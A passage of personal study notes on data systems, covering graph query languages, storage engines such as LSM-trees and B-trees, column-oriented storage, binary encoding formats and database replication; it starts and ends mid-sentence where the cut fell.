while still maintaining a clean data model. + + + +Graphs provide a great deal of flexibility for data modelling. Graphs are good for evolvability. + + + +--- + +##### The Cypher Query Language + +_Cypher_ +* a declarative language for property graphs created by `Neo4j` +* Graph queries in SQL. +* In a relational database, you usually know in advance which `joins` you need in your query. +* In a graph query, the number `if joins` is not fixed in advance. +* In Cypher `:WITHIN*0...` expresses "follow a `WITHIN` edge, zero or more times" (like the `*` operator in a regular expression). +* This idea of variable-length traversal paths in a query can be expressed using something called _recursive common table expressions_ (the `WITH RECURSIVE` syntax). + +Example: +- Each vertex is given a symbolic name like `USA` or `Idaho`, +- and other parts of the query can use those names to create edges between the vertices, +- using an arrow notation: `(Idaho) -[:WITHIN]-> (USA)` + - creates an edge labeled `WITHIN`, + - with `Idaho` as the tail node + - and `USA` as the head node. + + +```sql +CREATE + (NAmerica:Location {name:'North America', type:'continent'}), + (USA:Location {name:'United States', type:'country' }), + (Idaho:Location {name:'Idaho', type:'state' }), + (Lucy:Person {name:'Lucy' }), + (Idaho) -[:WITHIN]-> (USA) -[:WITHIN]-> (NAmerica), + (Lucy) -[:BORN_IN]-> (Idaho) +``` + +express that query in Cypher + +```sql +MATCH + (person) -[:BORN_IN]-> () -[:WITHIN*0..]-> (us:Location {name:'United States'}), + (person) -[:LIVES_IN]-> () -[:WITHIN*0..]-> (eu:Location {name:'Europe'}) +RETURN person.name +``` + +The query can be read as follows: +- Find any vertex (call it person) that meets both of the following conditions: + 1. person has an outgoing `BORN_IN` edge to some vertex. From that vertex, you can follow a chain of outgoing WITHIN edges until eventually you reach a vertex of type Location, whose name property is equal to "United States". + 2. That same person vertex also has an outgoing `LIVES_IN` edge. Following that edge, and then a chain of outgoing WITHIN edges, you eventually reach a vertex of type Location, whose name property is equal to "Europe". +- For each such person vertex, return the name property. + +--- + +##### Graph Queries in SQL + +- In a `relational database` + - you usually know in advance which `joins` you need in your query. +- In a `graph query` + - need to traverse a variable number of edges before you find the vertex you’re looking for + - the number of `joins` is not fixed in advance. + + + + + +--- + +#### Triple-stores and SPARQL + +In a triple-store, all information is stored in the form of very simple three-part statements: _subject_, _predicate_, _object_ (peg: _Jim_, _likes_, _bananas_). A triple is equivalent to a vertex in graph. + +#### The SPARQL query language + +_SPARQL_ is a query language for triple-stores using the RDF data model. + +#### The foundation: Datalog + +_Datalog_ provides the foundation that later query languages build upon. Its model is similar to the triple-store model, generalised a bit. Instead of writing a triple (_subject_, _predicate_, _object_), we write as _predicate(subject, object)_. + +We define _rules_ that tell the database about new predicates and rules can refer to other rules, just like functions can call other functions or recursively call themselves. + +Rules can be combined and reused in different queries. It's less convenient for simple one-off queries, but it can cope better if your data is complex. + +## Storage and retrieval + +Databases need to do two things: store the data and give the data back to you. + +### Data structures that power up your database + +Many databases use a _log_, which is append-only data file. Real databases have more issues to deal with tho (concurrency control, reclaiming disk space so the log doesn't grow forever and handling errors and partially written records). + +> A _log_ is an append-only sequence of records + +In order to efficiently find the value for a particular key, we need a different data structure: an _index_. An index is an _additional_ structure that is derived from the primary data. + +Well-chosen indexes speed up read queries but every index slows down writes. That's why databases don't index everything by default, but require you to choose indexes manually using your knowledge on typical query patterns. + +#### Hash indexes + +Key-value stores are quite similar to the _dictionary_ type (hash map or hash table). + +Let's say our storage consists only of appending to a file. The simplest indexing strategy is to keep an in-memory hash map where every key is mapped to a byte offset in the data file. Whenever you append a new key-value pair to the file, you also update the hash map to reflect the offset of the data you just wrote. + +Bitcask (the default storage engine in Riak) does it like that. The only requirement it has is that all the keys fit in the available RAM. Values can use more space than there is available in memory, since they can be loaded from disk. + +A storage engine like Bitcask is well suited to situations where the value for each key is updated frequently. There are a lot of writes, but there are too many distinct keys, you have a large number of writes per key, but it's feasible to keep all keys in memory. + +As we only ever append to a file, so how do we avoid eventually running out of disk space? **A good solution is to break the log into segments of certain size by closing the segment file when it reaches a certain size, and making subsequent writes to a new segment file. We can then perform _compaction_ on these segments.** Compaction means throwing away duplicate keys in the log, and keeping only the most recent update for each key. + +We can also merge several segments together at the sae time as performing the compaction. Segments are never modified after they have been written, so the merged segment is written to a new file. Merging and compaction of frozen segments can be done in a background thread. After the merging process is complete, we switch read requests to use the new merged segment instead of the old segments, and the old segment files can simply be deleted. + +Each segment now has its own in-memory hash table, mapping keys to file offsets. In order to find a value for a key, we first check the most recent segment hash map; if the key is not present we check the second-most recent segment and so on. The merging process keeps the number of segments small, so lookups don't need to check many hash maps. + +Some issues that are important in a real implementation: +* File format. It is simpler to use binary format. +* Deleting records. Append special deletion record to the data file (_tombstone_) that tells the merging process to discard previous values. +* Crash recovery. If restarted, the in-memory hash maps are lost. You can recover from reading each segment but that would take long time. Bitcask speeds up recovery by storing a snapshot of each segment hash map on disk. +* Partially written records. The database may crash at any time. Bitcask includes checksums allowing corrupted parts of the log to be detected and ignored. +* Concurrency control. As writes are appended to the log in a strictly sequential order, a common implementation is to have a single writer thread. Segments are immutable, so they can be read concurrently by multiple threads. + +Append-only design turns out to be good for several reasons: +* Appending and segment merging are sequential write operations, much faster than random writes, especially on magnetic spinning-disks. +* Concurrency and crash recovery are much simpler. +* Merging old segments avoids files getting fragmented over time. + +Hash table has its limitations too: +* The hash table must fit in memory. It is difficult to make an on-disk hash map perform well. +* Range queries are not efficient. + +#### SSTables and LSM-Trees + +We introduce a new requirement to segment files: we require that the sequence of key-value pairs is _sorted by key_. + +We call this _Sorted String Table_, or _SSTable_. We require that each key only appears once within each merged segment file (compaction already ensures that). SSTables have few big advantages over log segments with hash indexes +1. **Merging segments is simple and efficient** (we can use algorithms like _mergesort_). When multiple segments contain the same key, we can keep the value from the most recent segment and discard the values in older segments. +2. **You no longer need to keep an index of all the keys in memory.** For a key like `handiwork`, when you know the offsets for the keys `handback` and `handsome`, you know `handiwork` must appear between those two. You can jump to the offset for `handback` and scan from there until you find `handiwork`, if not, the key is not present. You still need an in-memory index to tell you the offsets for some of the keys. One key for every few kilobytes of segment file is sufficient. +3. Since read requests need to scan over several key-value pairs in the requested range anyway, **it is possible to group those records into a block and compress it** before writing it to disk. + +How do we get the data sorted in the first place? With red-black trees or AVL trees, you can insert keys in any order and read them back in sorted order. +* When a write comes in, add it to an in-memory balanced tree structure (_memtable_). +* When the memtable gets bigger than some threshold (megabytes), write it out to disk as an SSTable file. Writes can continue to a new memtable instance. +* On a read request, try to find the key in the memtable, then in the most recent on-disk segment, then in the next-older segment, etc. +* From time to time, run merging and compaction in the background to discard overwritten and deleted values. + +If the database crashes, the most recent writes are lost. We can keep a separate log on disk to which every write is immediately appended. That log is not in sorted order, but that doesn't matter, because its only purpose is to restore the memtable after crash. Every time the memtable is written out to an SSTable, the log can be discarded. + +**Storage engines that are based on this principle of merging and compacting sorted files are often called LSM structure engines (Log Structure Merge-Tree).** + +Lucene, an indexing engine for full-text search used by Elasticsearch and Solr, uses a similar method for storing its _term dictionary_. + +LSM-tree algorithm can be slow when looking up keys that don't exist in the database. To optimise this, storage engines often use additional _Bloom filters_ (a memory-efficient data structure for approximating the contents of a set). + +There are also different strategies to determine the order and timing of how SSTables are compacted and merged. Mainly two _size-tiered_ and _leveled_ compaction. LevelDB and RocksDB use leveled compaction, HBase use size-tiered, and Cassandra supports both. In size-tiered compaction, newer and smaller SSTables are successively merged into older and larger SSTables. In leveled compaction, the key range is split up into smaller SSTables and older data is moved into separate "levels", which allows the compaction to use less disk space. + +#### B-trees + +This is the most widely used indexing structure. B-tress keep key-value pairs sorted by key, which allows efficient key-value lookups and range queries. + +The log-structured indexes break the database down into variable-size _segments_ typically several megabytes or more. B-trees break the database down into fixed-size _blocks_ or _pages_, traditionally 4KB. + +One page is designated as the _root_ and you start from there. The page contains several keys and references to child pages. + +If you want to update the value for an existing key in a B-tree, you search for the leaf page containing that key, change the value in that page, and write the page back to disk. to add new key, find the page and add it to the page. If there isn't enough free space in the page to accommodate the new key, it is split in two half-full pages, and the parent page is updated to account for the new subdivision of key ranges. + +Trees remain _balanced_. A B-tree with _n_ keys always has a depth of _O_(log _n_). + +The basic underlying write operation of a B-tree is to overwrite a page on disk with new data. It is assumed that the overwrite does not change the location of the page, all references to that page remain intact. This is a big contrast to log-structured indexes such as LSM-trees, which only append to files. + +Some operations require several different pages to be overwritten. When you split a page, you need to write the two pages that were split, and also overwrite their parent. If the database crashes after only some of the pages have been written, you end up with a corrupted index. + +It is common to include an additional data structure on disk: a _write-ahead log_ (WAL, also know as the _redo log_). + +Careful concurrency control is required if multiple threads are going to access, typically done protecting the tree internal data structures with _latches_ (lightweight locks). + +#### B-trees and LSM-trees + +LSM-trees are typically faster for writes, whereas B-trees are thought to be faster for reads. Reads are typically slower on LSM-tress as they have to check several different data structures and SSTables at different stages of compaction. + +Advantages of LSM-trees: +* LSM-trees are typically able to sustain higher write throughput than B-trees, party because they sometimes have lower write amplification: a write to the database results in multiple writes to disk. The more a storage engine writes to disk, the fewer writes per second it can handle. +* LSM-trees can be compressed better, and thus often produce smaller files on disk than B-trees. B-trees tend to leave disk space unused due to fragmentation. + +Downsides of LSM-trees: +* Compaction process can sometimes interfere with the performance of ongoing reads and writes. B-trees can be more predictable. The bigger the database, the the more disk bandwidth is required for compaction. Compaction cannot keep up with the rate of incoming writes, if not configured properly you can run out of disk space. +* On B-trees, each key exists in exactly one place in the index. This offers strong transactional semantics. Transaction isolation is implemented using locks on ranges of keys, and in a B-tree index, those locks can be directly attached to the tree. + +#### Other indexing structures + +We've only discussed key-value indexes, which are like _primary key_ index. There are also _secondary indexes_. + +A secondary index can be easily constructed from a key-value index. The main difference is that in a secondary index, the indexed values are not necessarily unique. There are two ways of doing this: making each value in the index a list of matching row identifiers or by making a each entry unique by appending a row identifier to it. + +#### Full-text search and fuzzy indexes + +Indexes don't allow you to search for _similar_ keys, such as misspelled words. Such _fuzzy_ querying requires different techniques. + +Full-text search engines allow synonyms, grammatical variations, occurrences of words near each other. + +Lucene uses SSTable-like structure for its term dictionary. Lucene, the in-memory index is a finite state automaton, similar to a _trie_. + +#### Keeping everything in memory + +Disks have two significant advantages: they are durable, and they have lower cost per gigabyte than RAM. + +It's quite feasible to keep them entirely in memory, this has lead to _in-memory_ databases. + +Key-value stores, such as Memcached are intended for cache only, it's acceptable for data to be lost if the machine is restarted. Other in-memory databases aim for durability, with special hardware, writing a log of changes to disk, writing periodic snapshots to disk or by replicating in-memory to other machines. + +When an in-memory database is restarted, it needs to reload its state, either from disk or over the network from a replica. The disk is merely used as an append-only log for durability, and reads are served entirely from memory. + +Products such as VoltDB, MemSQL, and Oracle TimesTime are in-memory databases. Redis and Couchbase provide weak durability. + +In-memory databases can be faster because they can avoid the overheads of encoding in-memory data structures in a form that can be written to disk. + +Another interesting area is that in-memory databases may provide data models that are difficult to implement with disk-based indexes. + +### Transaction processing or analytics? + +A _transaction_ is a group of reads and writes that form a logical unit, this pattern became known as _online transaction processing_ (OLTP). + +_Data analytics_ has very different access patterns. A query would need to scan over a huge number of records, only reading a few columns per record, and calculates aggregate statistics. + +These queries are often written by business analysts, and fed into reports. This pattern became known for _online analytics processing_ (OLAP). + + +#### Data warehousing + +A _data warehouse_ is a separate database that analysts can query to their heart's content without affecting OLTP operations. It contains read-only copy of the dat in all various OLTP systems in the company. Data is extracted out of OLTP databases (through periodic data dump or a continuous stream of update), transformed into an analysis-friendly schema, cleaned up, and then loaded into the data warehouse (process _Extract-Transform-Load_ or ETL). + +A data warehouse is most commonly relational, but the internals of the systems can look quite different. + +Amazon RedShift is hosted version of ParAccel. Apache Hive, Spark SQL, Cloudera Impala, Facebook Presto, Apache Tajo, and Apache Drill. Some of them are based on ideas from Google's Dremel. + +Data warehouses are used in fairly formulaic style known as a _star schema_. + +Facts are captured as individual events, because this allows maximum flexibility of analysis later. The fact table can become extremely large. + +Dimensions represent the _who_, _what_, _where_, _when_, _how_ and _why_ of the event. + +The name "star schema" comes from the fact than when the table relationships are visualised, the fact table is in the middle, surrounded by its dimension tables, like the rays of a star. + +Fact tables often have over 100 columns, sometimes several hundred. Dimension tables can also be very wide. + +### Column-oriented storage + +In a row-oriented storage engine, when you do a query that filters on a specific field, the engine will load all those rows with all their fields into memory, parse them and filter out the ones that don't meet the requirement. This can take a long time. + +_Column-oriented storage_ is simple: don't store all the values from one row together, but store all values from each _column_ together instead. If each column is stored in a separate file, a query only needs to read and parse those columns that are used in a query, which can save a lot of work. + +Column-oriented storage often lends itself very well to compression as the sequences of values for each column look quite repetitive, which is a good sign for compression. A technique that is particularly effective in data warehouses is _bitmap encoding_. + +Bitmap indexes are well suited for all kinds of queries that are common in a data warehouse. + +> Cassandra and HBase have a concept of _column families_, which they inherited from Bigtable. + +Besides reducing the volume of data that needs to be loaded from disk, column-oriented storage layouts are also good for making efficient use of CPU cycles (_vectorised processing_). + +**Column-oriented storage, compression, and sorting helps to make read queries faster and make sense in data warehouses, where most of the load consist on large read-only queries run by analysts. The downside is that writes are more difficult.** + +An update-in-place approach, like B-tree use, is not possible with compressed columns. If you insert a row in the middle of a sorted table, you would most likely have to rewrite all column files. + +It's worth mentioning _materialised aggregates_ as some cache of the counts ant the sums that queries use most often. A way of creating such a cache is with a _materialised view_, on a relational model this is usually called a _virtual view_: a table-like object whose contents are the results of some query. A materialised view is an actual copy of the query results, written in disk, whereas a virtual view is just a shortcut for writing queries. + +When the underlying data changes, a materialised view needs to be updated, because it is denormalised copy of the data. Database can do it automatically, but writes would become more expensive. + +A common special case of a materialised view is know as a _data cube_ or _OLAP cube_, a grid of aggregates grouped by different dimensions. + +## Encoding and evolution + +Change to an application's features also requires a change to data it stores. + +Relational databases conforms to one schema although that schema can be changed, there is one schema in force at any point in time. **Schema-on-read (or schemaless) contain a mixture of older and newer data formats.** + +In large applications changes don't happen instantaneously. You want to perform a _rolling upgrade_ and deploy a new version to a few nodes at a time, gradually working your way through all the nodes without service downtime. + +Old and new versions of the code, and old and new data formats, may potentially all coexist. We need to maintain compatibility in both directions +* Backward compatibility, newer code can read data that was written by older code. +* Forward compatibility, older code can read data that was written by newer code. + +### Formats for encoding data + +Two different representations: +* In memory +* When you want to write data to a file or send it over the network, you have to encode it + +Thus, you need a translation between the two representations. In-memory representation to byte sequence is called _encoding_ (_serialisation_ or _marshalling_), and the reverse is called _decoding_ (_parsing_, _deserialisation_ or _unmarshalling_). + +Programming languages come with built-in support for encoding in-memory objects into byte sequences, but is usually a bad idea to use them. Precisely because of a few problems. +* Often tied to a particular programming language. +* The decoding process needs to be able to instantiate arbitrary classes and this is frequently a security hole. +* Versioning +* Efficiency + +Standardised encodings can be written and read by many programming languages. + +JSON, XML, and CSV are human-readable and popular specially as data interchange formats, but they have some subtle problems: +* Ambiguity around the encoding of numbers and dealing with large numbers +* Support of Unicode character strings, but no support for binary strings. People get around this by encoding binary data as Base64, which increases the data size by 33%. +* There is optional schema support for both XML and JSON +* CSV does not have any schema + +#### Binary encoding + +JSON is less verbose than XML, but both still use a lot of space compared to binary formats. There are binary encodings for JSON (messagePack, BSON, BJSON, UBJSON, BISON and Smile), similar thing for XML (WBXML and Fast Infoset). + +**Apache Thrift and Protocol Buffers (protobuf) are binary encoding libraries.** + +Thrift offers two different protocols: +* **BinaryProtocol**, there are no field names like `userName`, `favouriteNumber`. Instead the data contains _field tags_, which are numbers (`1`, `2`) +* **CompactProtocol**, which is equivalent to BinaryProtocol but it packs the same information in less space. It packs the field type and the tag number into the same byte. + +Protocol Buffers are very similar to Thrift's CompactProtocol, bit packing is a bit different and that might allow smaller compression. + +Schemas inevitable need to change over time (_schema evolution_), how do Thrift and Protocol Buffers handle schema changes while keeping backward and forward compatibility changes? + +* **Forward compatible support**. As with new fields you add new tag numbers, old code trying to read new code, it can simply ignore not recognised tags. +* **Backwards compatible support**. As long as each field has a unique tag number, new code can always read old data. Every field you add after initial deployment of schema must be optional or have a default value. + +Removing fields is just like adding a field with backward and forward concerns reversed. You can only remove a field that is optional, and you can never use the same tag again. + +What about changing the data type of a field? There is a risk that values will lose precision or get truncated. + +##### Avro + +Apache Avro is another binary format that has two schema languages, one intended for human editing (Avro IDL), and one (based on JSON) that is more easily machine-readable. + +You go go through the fields in the order they appear in the schema and use the schema to tell you the datatype of each field. Any mismatch in the schema between the reader and the writer would mean incorrectly decoded data. + +What about schema evolution? When an application wants to encode some data, it encodes the data using whatever version of the schema it knows (_writer's schema_). + +When an application wants to decode some data, it is expecting the data to be in some schema (_reader's schema_). + +In Avro the writer's schema and the reader's schema _don't have to be the same_. The Avro library resolves the differences by looking at the writer's schema and the reader's schema. + +Forward compatibility means you can have a new version of the schema as writer and an old version of the schema as reader. Conversely, backward compatibility means that you can have a new version of the schema as reader and an old version as writer. + +To maintain compatibility, you may only add or remove a field that has a default value. + +If you were to add a field that has no default value, new readers wouldn't be able to read data written by old writers. + +Changing the datatype of a field is possible, provided that Avro can convert the type. Changing the name of a filed is tricky (backward compatible but not forward compatible). + +The schema is identified encoded in the data. In a large file with lots of records, the writer of the file can just include the schema at the beginning of the file. On a database with individually written records, you cannot assume all the records will have the same schema, so you have to include a version number at the beginning of every encoded record. While sending records over the network, you can negotiate the schema version on connection setup. + +Avro is friendlier to _dynamically generated schemas_ (dumping into a file the database). You can fairly easily generate an Avro schema in JSON. + +If the database schema changes, you can just generate a new Avro schema for the updated database schema and export data in the new Avro schema. + +By contrast with Thrift and Protocol Buffers, every time the database schema changes, you would have to manually update the mappings from database column names to field tags. + +--- + +Although textual formats such as JSON, XML and CSV are widespread, binary encodings based on schemas are also a viable option. As they have nice properties: +* Can be much more compact, since they can omit field names from the encoded data. +* Schema is a valuable form of documentation, required for decoding, you can be sure it is up to date. +* Database of schemas allows you to check forward and backward compatibility changes. +* Generate code from the schema is useful, since it enables type checking at compile time. + +### Modes of dataflow + +Different process on how data flows between processes + +#### Via databases + +The process that writes to the database encodes the data, and the process that reads from the database decodes it. + +A value in the database may be written by a _newer_ version of the code, and subsequently read by an _older_ version of the code that is still running. + +When a new version of your application is deployed, you may entirely replace the old version with the new version within a few minutes. The same is not true in databases, the five-year-old data will still be there, in the original encoding, unless you have explicitly rewritten it. _Data outlives code_. + +Rewriting (_migrating_) is expensive, most relational databases allow simple schema changes, such as adding a new column with a `null` default value without rewriting existing data. When an old row is read, the database fills in `null`s for any columns that are missing. + +#### Via service calls + +You have processes that need to communicate over a network of _clients_ and _servers_. + +Services are similar to databases, each service should be owned by one team. and that team should be able to release versions of the service frequently, without having to coordinate with other teams. We should expect old and new versions of servers and clients to be running at the same time. + +_Remote procedure calls_ (RPC) tries to make a request to a remote network service look the same as calling a function or method in your programming language, it seems convenient at first but the approach is flawed: +* A network request is unpredictable +* A network request it may return without a result, due a _timeout_ +* Retrying will cause the action to be performed multiple times, unless you build a mechanism for deduplication (_idempotence_). +* A network request is much slower than a function call, and its latency is wildly variable. +* Parameters need to be encoded into a sequence of bytes that can be sent over the network and becomes problematic with larger objects. +* The RPC framework must translate datatypes from one language to another, not all languages have the same types. + +**There is no point trying to make a remote service look too much like a local object in your programming language, because it's a fundamentally different thing.** + +New generation of RPC frameworks are more explicit about the fact that a remote request is different from a local function call. Fiangle and Rest.li use _features_ (_promises_) to encapsulate asyncrhonous actions. + +RESTful API has some significant advantages like being good for experimentation and debugging. + +REST seems to be the predominant style for public APIs. The main focus of RPC frameworks is on requests between services owned by the same organisation, typically within the same datacenter. + +#### Via asynchronous message passing + +In an _asynchronous message-passing_ systems, a client's request (usually called a _message_) is delivered to another process with low latency. The message goes via an intermediary called a _message broker_ (_message queue_ or _message-oriented middleware_) which stores the message temporarily. This has several advantages compared to direct RPC: +* It can act as a buffer if the recipient is unavailable or overloaded +* It can automatically redeliver messages to a process that has crashed and prevent messages from being lost +* It avoids the sender needing to know the IP address and port number of the recipient (useful in a cloud environment) +* It allows one message to be sent to several recipients +* **Decouples the sender from the recipient** + +The communication happens only in one direction. The sender doesn't wait for the message to be delivered, but simply sends it and then forgets about it (_asynchronous_). + +Open source implementations for message brokers are RabbitMQ, ActiveMQ, HornetQ, NATS, and Apache Kafka. + +One process sends a message to a named _queue_ or _topic_ and the broker ensures that the message is delivered to one or more _consumers_ or _subscribers_ to that queue or topic. + +Message brokers typically don't enforce a particular data model, you can use any encoding format. + +An _actor model_ is a programming model for concurrency in a single process. Rather than dealing with threads (and their complications), logic is encapsulated in _actors_. Each actor typically represent one client or entity, it may have some local state, and it communicates with other actors by sending and receiving asynchronous messages. Message deliver is not guaranteed. Since each actor processes only one message at a time, it doesn't need to worry about threads. + +In _distributed actor frameworks_, this programming model is used to scale an application across multiple nodes. It basically integrates a message broker and the actor model into a single framework. + +* _Akka_ uses Java's built-in serialisation by default, which does not provide forward or backward compatibility. You can replace it with something like Protocol Buffers and the ability to do rolling upgrades. +* _Orleans_ by default uses custom data encoding format that does not support rolling upgrade deployments. +* In _Erlang OTP_ it is surprisingly hard to make changes to record schemas. + +--- + +What happens if multiple machines are involved in storage and retrieval of data? + +Reasons for distribute a database across multiple machines: +* Scalability +* Fault tolerance/high availability +* Latency, having servers at various locations worldwide + +## Replication + +Reasons why you might want to replicate data: +* To keep data geographically close to your users +* Increase availability +* Increase read throughput + +The difficulty in replication lies in handling _changes_ to replicated data. Popular algorithms for replicating changes between nodes: _single-leader_, _multi-leader_, and _leaderless_ replication. + +### Leaders and followers + +Each node that stores a copy of the database is called a _replica_. + +Every write to the database needs to be processed by every replica. The most common solution for this is called _leader-based replication_ (_active/passive_ or _master-slave replication_). +1. One of the replicas is designated the _leader_ (_master_ or _primary_). Writes to the database must send requests to the leader. +2. Other replicas are known as _followers_ (_read replicas_, _slaves_, _secondaries_ or _hot stanbys_). The leader sends the data change to all of its followers as part of a _replication log_ or _change stream_. +3. Reads can be query the leader or any of the followers, while writes are only accepted on the leader. + +MySQL, Oracle Data Guard, SQL Server's AlwaysOn Availability Groups, MongoDB, RethinkDB, Espresso, Kafka and RabbitMQ are examples of these kind of databases. + +#### Synchronous vs asynchronous + +**The advantage of synchronous replication is that the follower is guaranteed to have an up-to-date copy of the data that is consistent with the leader. The disadvantage is that it the synchronous follower doesn't respond, the write cannot be processed.** + +It's impractical for all followers to be synchronous. If you enable synchronous replication on a database, it usually means that _one_ of the followers is synchronous, and the others are asynchronous. This guarantees up-to-date copy of the data on at least two nodes (this is sometimes called _semi-synchronous_). + +Often, leader-based replication is asynchronous. Writes are not guaranteed to be durable, the main advantage of this approach is that the leader can continue processing writes. + +#### Setting up new followers + +Copying data files from one node to another is typically not sufficient. + +Setting up a follower can usually be done without downtime. The process looks like: +1. Take a snapshot of the leader's database +2. Copy the snapshot to the follower node +3. Follower requests data changes that have happened since the snapshot was taken +4. Once follower processed the backlog of data changes since snapshot, it has _caught up_. + +#### Handling node outages + +How does high availability works with leader-based replication? + +#### Follower failure: catchup recovery + +Follower can connect to the leader and request all the data changes that occurred during the time when the follower was disconnected. + +#### Leader failure: failover + +One of the followers needs to be promoted to be the new leader, clients need to be reconfigured to send their writes to the new leader and followers need to start consuming data changes from the new leader. + +Automatic failover consists: +1. Determining that the leader has failed. If a node does not respond in a period of time it's considered dead. +2. Choosing a new leader. The best candidate for leadership is usually the replica with the most up-to-date changes from the old leader. +3. Reconfiguring the system to use the new leader. The system needs to ensure that the old leader becomes a follower and recognises the new leader. + +Things that could go wrong: +* If asynchronous replication is used, the new leader may have received conflicting writes in the meantime. +* Discarding writes is especially dangerous if other storage systems outside of the database need to be coordinated with the database contents. +* It could happen that two nodes both believe that they are the leader (_split brain_). Data is likely to be lost or corrupted. +* What is the right time before the leader is declared dead? + +For these reasons, some operation teams prefer to perform failovers manually, even if the software supports automatic failover. + +#### Implementation of replication logs + +##### Statement-based replication + +The leader logs every _statement_ and sends it to its followers (every `INSERT`, `UPDATE` or `DELETE`). + +This type of replication has some problems: +* Non-deterministic functions such as `NOW()` or `RAND()` will generate different values on replicas. +* Statements that depend on existing data, like auto-increments, must be executed in the same order in each replica. +* Statements with side effects may result on different results on each replica. + +A solution to this is to replace any nondeterministic function with a fixed return value in the leader. + +##### Write-ahead log (WAL) shipping + +The log is an append-only sequence of bytes containing all writes to the database. The leader can send it to its followers. This way of replication is used in PostgreSQL and Oracle. + +The main disadvantage is that the log describes the data at a very low level (like which bytes were changed in which disk blocks), coupling it to the storage engine. + +Usually is not possible to run different versions of the database in leaders and followers. This can have a big operational impact, like making it impossible to have a zero-downtime upgrade of the database. + +##### Logical (row-based) log replication + +Basically a sequence of records describing writes to database tables at the granularity of a row: +* For an inserted row, the new values of all columns. +* For a deleted row, the information that uniquely identifies that column. +* For an updated row, the information to uniquely identify that row and all the new values of the columns. + +A transaction that modifies several rows, generates several of such logs, followed by a record indicating that the transaction was committed. MySQL binlog uses this approach. + +Since logical log is decoupled from the storage engine internals, it's easier to make it backwards compatible. + +Logical logs are also easier for external applications to parse, useful for data warehouses, custom indexes and caches (_change data capture_). + +##### Trigger-based replication + +There are some situations were you may need to move replication up to the application layer. + +A trigger lets you register custom application code that is automatically executed when a data change occurs. This is a good opportunity to log this change into a separate table, from which it can be read by an external process. + +Main disadvantages is that this approach has greater overheads, is more prone to bugs but it may be useful due to its flexibility. + +### Problems with replication lag + +Node failures is just one reason for wanting replication. Other reasons are scalability and latency. + +In a _read-scaling_ architecture, you can increase the capacity for serving read-only requests simply by adding more followers. However, this only realistically works on asynchronous replication. The more nodes you have, the likelier is that one will be down, so a fully synchronous configuration would be unreliable. + +With an asynchronous approach, a follower may fall behind, leading to inconsistencies in the database (_eventual consistency_). + +The _replication lag_ could be a fraction of a second or several seconds or even minutes. + +The problems that may arise and how to solve them. + +#### Reading your own writes + +_Read-after-write consistency_, also known as _read-your-writes consistency_ is a guarantee that if the user reloads the page, they will always see any updates they submitted themselves. + +How to implement it: +* **When reading something that the user may have modified, read it from the leader.** For example, user profile information on a social network is normally only editable by the owner. A simple rule is always read the user's own profile from the leader. +* You could track the time of the latest update and, for one minute after the last update, make all reads from the leader. +* The client can remember the timestamp of the most recent write, then the system can ensure that the replica serving any reads for that user reflects updates at least until that timestamp. +* If your replicas are distributed across multiple datacenters, then any request needs to be routed to the datacenter that contains the leader. + + +Another complication is that the same user is accessing your service from multiple devices, you may want to provide _cross-device_ read-after-write consistency. + +Some additional issues to consider: +* Remembering the timestamp of the user's last update becomes more difficult. The metadata will need to be centralised. +* If replicas are distributed across datacenters, there is no guarantee that connections from different devices will be routed to the same datacenter. You may need to route requests from all of a user's devices to the same datacenter. + +#### Monotonic reads + +Because of followers falling behind, it's possible for a user to see things _moving backward in time_. + +When you read data, you may see an old value; monotonic reads only means that if one user makes several reads in sequence, they will not see time go backward. + +Make sure that each user always makes their reads from the same replica. The replica can be chosen based on a hash of the user ID. If the replica fails, the user's queries will need to be rerouted to another replica. + +#### Consistent prefix reads + +If a sequence of writes happens in a certain order, then anyone reading those writes will see them appear in the same order. + +This is a particular problem in partitioned (sharded) databases as there is no global ordering of writes. + +A solution is to make sure any writes casually related to each other are written to the same partition. + +#### Solutions for replication lag + +_Transactions_ exist so there is a way for a database to provide stronger guarantees so that the application can be simpler. + +### Multi-leader replication + +Leader-based replication has one major downside: there is only one leader, and all writes must go through it. + +A natural extension is to allow more than one node to accept writes (_multi-leader_, _master-master_ or _active/active_ replication) where each leader simultaneously acts as a follower to the other leaders. + +#### Use cases for multi-leader replication + +It rarely makes sense to use multi-leader setup within a single datacenter. + +##### Multi-datacenter operation + +You can have a leader in _each_ datacenter. Within each datacenter, regular leader-follower replication is used. Between datacenters, each datacenter leader replicates its changes to the leaders in other datacenters. + +Compared to a single-leader replication model deployed in multi-datacenters +* **Performance.** With single-leader, every write must go across the internet to wherever the leader is, adding significant latency. In multi-leader every write is processed in the local datacenter and replicated asynchronously to other datacenters. The network delay is hidden from users and perceived performance may be better. +* **Tolerance of datacenter outages.** In single-leader if the datacenter with the leader fails, failover can promote a follower in another datacenter. In multi-leader, each datacenter can continue operating independently from others. +* **Tolerance of network problems.** Single-leader is very sensitive to problems in this inter-datacenter link as writes are made synchronously over this link. Multi-leader with asynchronous replication can tolerate network problems better. + +Multi-leader replication is implemented with Tungsten Replicator for MySQL, BDR for PostgreSQL or GoldenGate for Oracle. + +It's common to fall on subtle configuration pitfalls. Autoincrementing keys, triggers and integrity constraints can be problematic. Multi-leader replication is often considered dangerous territory and avoided if possible. + +##### Clients with offline operation + +If you have an application that needs to continue to work while it is disconnected from the internet, every device that has a local database can act as a leader, and there will be some asynchronous multi-leader replication process (imagine, a Calendar application). + +CouchDB is designed for this mode of operation. + +#### Collaborative editing + +_Real-time collaborative editing_ applications allow several people to edit a document simultaneously. Like Etherpad or Google Docs. + +The user edits a document, the changes are instantly applied to their local replica and asynchronously replicated to the server and any other user. + +If you want to avoid editing conflicts, you must the lock the document before a user can edit it. + +For faster collaboration, you may want to make the unit of change very small (like a keystroke) and avoid locking. + +#### Handling write conflicts + +The biggest problem with multi-leader replication is when conflict resolution is required. This problem does not happen in a single-leader database. + +##### Synchronous vs asynchronous conflict detection + +In single-leader the second writer can be blocked and wait the first one to complete, forcing the user to retry the write. On multi-leader if both writes are successful, the conflict is only detected asynchronously later in time. + +If you want synchronous conflict detection, you might as well use single-leader replication. + +##### Conflict avoidance + +The simplest strategy for dealing with conflicts is to avoid them. If all writes for a particular record go through the sae leader, then conflicts cannot occur. + +On an application where a user can edit their own data, you can ensure that requests from a particular user are always routed to the same datacenter and use the leader in that datacenter for reading and writing. + +##### Converging toward a consistent state + +On single-leader, the last write determines the final value of the field. + +In multi-leader, it's not clear what the final value should be. + +The database must resolve the conflict in a _convergent_ way, all replicas must arrive a the same final value when all changes have been replicated. + +Different ways of achieving convergent conflict resolution. +* Five each write a unique ID (timestamp, long random number, UUID, or a has of the key and value), pick the write with the highest ID as the _winner_ and throw away the other writes. This is known as _last write wins_ (LWW) and it is dangerously prone to data 